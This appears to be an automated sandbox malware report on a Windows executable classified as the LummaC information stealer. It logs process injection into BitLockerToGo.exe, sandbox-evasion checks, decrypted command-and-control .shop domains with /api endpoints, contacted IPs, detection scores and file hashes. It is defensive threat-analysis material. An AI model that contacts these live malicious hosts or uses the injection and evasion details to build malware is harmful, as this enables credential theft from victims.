Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: l5u4ezxr.u51.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: l5u4ezxr.u51.exe

Static file information: File size 17182720 > 1048576

Source: l5u4ezxr.u51.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x71b200
Source: l5u4ezxr.u51.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x852800

Source: l5u4ezxr.u51.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.000000000274C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1755794344.00000000027CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.000000000274C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1755794344.00000000027CD000.00000004.00000020.00020000.00000000.sdmp

Source: l5u4ezxr.u51.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00439B1C push edx; retf 0040h

1_2_00439B1D

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6892

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1768083504.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: l5u4ezxr.u51.exe, 00000000.00000002.1759588608.0000000001C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1768083504.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

API call chain: ExitProcess graph end node

graph_1-12723

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0042E070 LdrInitializeThunk,

1_2_0042E070

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tenseddrywsqio.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 225008	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 436000	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 439000	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 448000	Jump to behavior

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Users\user\Desktop\l5u4ezxr.u51.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1759655913.00000000022B3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1759655913.00000000022B3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	2 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	22 System Information Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
l5u4ezxr.u51.exe	22%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
locatedblsoqp.shop	100%	URL Reputation	phishing
locatedblsoqp.shop	100%	URL Reputation	phishing
tenseddrywsqio.shop	15%	Virustotal		Browse
traineiwnqo.shop	100%	URL Reputation	malware
traineiwnqo.shop	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label	Link
condedqpwqm.shop	100%	URL Reputation	phishing
caffegclasiqwp.shop	100%	URL Reputation	malware
millyscroqwp.shop	100%	URL Reputation	malware
stagedchheiqwo.shop	100%	URL Reputation	phishing
https://locatedblsoqp.shop/api	100%	URL Reputation	malware
stamppreewntnq.shop	100%	URL Reputation	phishing
evoliutwoqm.shop	0%	URL Reputation	safe
https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comNtQuerySystemInformationAllo	0%	Avira URL Cloud	safe
tenseddrywsqio.shop	0%	Avira URL Cloud	safe
https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft	0%	Avira URL Cloud	safe
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Avira URL Cloud	safe
https://api.loganalytics.iohttps://api.loganalytics.usencountered	0%	Avira URL Cloud	safe
https://tenseddrywsqio.shop/api	100%	Avira URL Cloud	malware
https://traineiwnqo.shop/api_	100%	Avira URL Cloud	malware
tenseddrywsqio.shop	15%	Virustotal		Browse
https://locatedblsoqp.shop/6	100%	Avira URL Cloud	phishing
https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft	0%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Avira URL Cloud	safe
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Virustotal		Browse
https://traineiwnqo.shop/api	100%	Avira URL Cloud	malware
https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comNtQuerySystemInformationAllo	0%	Virustotal		Browse
https://locatedblsoqp.shop/	100%	Avira URL Cloud	phishing
https://tenseddrywsqio.shop/api	17%	Virustotal		Browse
https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel	0%	Avira URL Cloud	safe
https://traineiwnqo.shop/apibul	100%	Avira URL Cloud	malware
https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n	0%	Avira URL Cloud	safe
https://traineiwnqo.shop/api	22%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Virustotal		Browse
https://management.azure.comfailed	0%	Avira URL Cloud	safe
https://tenseddrywsqio.shop/M	0%	Avira URL Cloud	safe
https://traineiwnqo.shop/fXx	100%	Avira URL Cloud	malware
https://locatedblsoqp.shop/	17%	Virustotal		Browse
https://traineiwnqo.shop/apiK	100%	Avira URL Cloud	malware
https://traineiwnqo.shop/.	100%	Avira URL Cloud	malware
https://traineiwnqo.shop:443/apii	100%	Avira URL Cloud	malware
https://ossrdbms-aad.database.chinacloudapi.cned25519:	0%	Avira URL Cloud	safe
https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n	0%	Virustotal		Browse
https://traineiwnqo.shop/	100%	Avira URL Cloud	malware
https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel	0%	Virustotal		Browse
https://traineiwnqo.shop:443/apii	11%	Virustotal		Browse
https://traineiwnqo.shop/	20%	Virustotal		Browse
https://traineiwnqo.shop/.	20%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
locatedblsoqp.shop	188.114.96.3	true	true	100%, URL Reputation 100%, URL Reputation	unknown
tenseddrywsqio.shop	104.21.69.149	true	true	15%, Virustotal, Browse	unknown
traineiwnqo.shop	188.114.96.3	true	true	100%, URL Reputation 100%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
tenseddrywsqio.shop	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
condedqpwqm.shop	true	URL Reputation: phishing	unknown
https://tenseddrywsqio.shop/api	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
locatedblsoqp.shop	true		unknown
caffegclasiqwp.shop	true	URL Reputation: malware	unknown
millyscroqwp.shop	true	URL Reputation: malware	unknown
stagedchheiqwo.shop	true	URL Reputation: phishing	unknown
https://locatedblsoqp.shop/api	true	URL Reputation: malware	unknown
https://traineiwnqo.shop/api	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
stamppreewntnq.shop	true	URL Reputation: phishing	unknown
evoliutwoqm.shop	true	URL Reputation: safe	unknown
traineiwnqo.shop	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	BitLockerToGo.exe, 00000001.00000003.1786075321.0000000002870000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.loganalytics.iohttps://api.loganalytics.usencountered	l5u4ezxr.u51.exe	false	Avira URL Cloud: safe	unknown
https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft	l5u4ezxr.u51.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comNtQuerySystemInformationAllo	l5u4ezxr.u51.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://traineiwnqo.shop/api_	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://locatedblsoqp.shop/6	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.cloudflare.com/5xx-error-landing	BitLockerToGo.exe, 00000001.00000003.1785814274.0000000002871000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.0000000002850000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://locatedblsoqp.shop/	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel	l5u4ezxr.u51.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://traineiwnqo.shop/apibul	BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n	l5u4ezxr.u51.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://management.azure.comfailed	l5u4ezxr.u51.exe	false	Avira URL Cloud: safe	unknown
https://tenseddrywsqio.shop/M	BitLockerToGo.exe, 00000001.00000003.1768083504.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://traineiwnqo.shop/fXx	BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://traineiwnqo.shop/apiK	BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://traineiwnqo.shop/.	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://traineiwnqo.shop:443/apii	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ossrdbms-aad.database.chinacloudapi.cned25519:	l5u4ezxr.u51.exe	false	Avira URL Cloud: safe	unknown
https://traineiwnqo.shop/	BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	locatedblsoqp.shop	European Union		13335	CLOUDFLARENETUS	true
104.21.69.149	tenseddrywsqio.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502257
Start date and time:	2024-08-31 21:09:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	l5u4ezxr.u51.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/0@3/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 90% Number of executed functions: 16 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target l5u4ezxr.u51.exe, PID 6528 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:10:08	API Interceptor	2x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	play.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/ps9q/
	BankPaymAdviceVend.Report.docx	Get hash	malicious	Unknown	Browse	tt.vg/BVhaS
	ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	www.begumnasreenbano.com/e8by/
	estado de cuenta adjunto.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/kqqj/
	Fordybendes.exe	Get hash	malicious	Azorult, GuLoader	Browse	d4hk.shop/DL341/index.php
	ORDER_38746_pdf.exe	Get hash	malicious	FormBook	Browse	www.begumnasreenbano.com/e8by/
	QUOTATION_AUGQTRA071244#U00b7PDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/zbi9vNYx/download
	QUOTATION_AUGQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/kDY6Kvx6/download
	PO_GM_list_28082024202003180817418280824_purchase_doc_00000(991KB).bat	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	www.katasoo.com/7qad/
	709876765465.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.coinwab.com/kqqj/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
traineiwnqo.shop	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	188.114.97.3
	IrisMichael263Fiona.lib.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	26oGUTrmHt.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
tenseddrywsqio.shop	Setup_v1.43.exe	Get hash	malicious	LummaC	Browse	172.67.209.93
locatedblsoqp.shop	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
	IrisMichael263Fiona.lib.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	26oGUTrmHt.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	eve2kFNLD6.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Win64.MalwareX-gen.30136.14956.exe	Get hash	malicious	Unknown	Browse	172.65.154.135
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	162.159.134.233
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.Win64.Krypt.13435.32435.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	play.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Win64.MalwareX-gen.30136.14956.exe	Get hash	malicious	Unknown	Browse	172.65.154.135
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	162.159.134.233
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.Win64.Krypt.13435.32435.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	play.exe	Get hash	malicious	FormBook	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Order enquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3 104.21.69.149
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3 104.21.69.149
	BankPaymAdviceVend.Report.docx	Get hash	malicious	Unknown	Browse	188.114.96.3 104.21.69.149
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.96.3 104.21.69.149
	IrisMichael263Fiona.lib.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 104.21.69.149
	https://seoservicesiox.firebaseapp.com/&err=b0qmbz0rr7j7jwfxwuge?err=am30dbsswi0	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3 104.21.69.149
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 104.21.69.149
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 104.21.69.149
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 104.21.69.149
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	188.114.96.3 104.21.69.149

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.9500932356954035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	l5u4ezxr.u51.exe
File size:	17'182'720 bytes
MD5:	5bd0ec56270d24c40aa16d7fa73f2538
SHA1:	43f9fd5ae32c851b806f501e20e2747b9f831bbe
SHA256:	7dae9ea6af1af34b4f423f1fb3e3004f35cfd00781a05fcad1b2714160eb0ac8
SHA512:	86242a1cf7c9b3ff8994e160dd06805f6e4bb4a577e58e6d0a60c70613f34ba28b71422573a8029c27212e7e5203553f02de20c9532151207c22d7655c331c5d
SSDEEP:	98304:AKq1QUe4702fsiRydEaczc6DQ2LNqMlDn4VPCIknoy1hFE+BFLiJBlS4S1N9hyt5:Eedm/RydEaczc6VLNUVqNouDQJbl
TLSH:	28073940FAC744F2D9438575906BB23F77345E058B29CB9BEB04BE6AF8376826837245
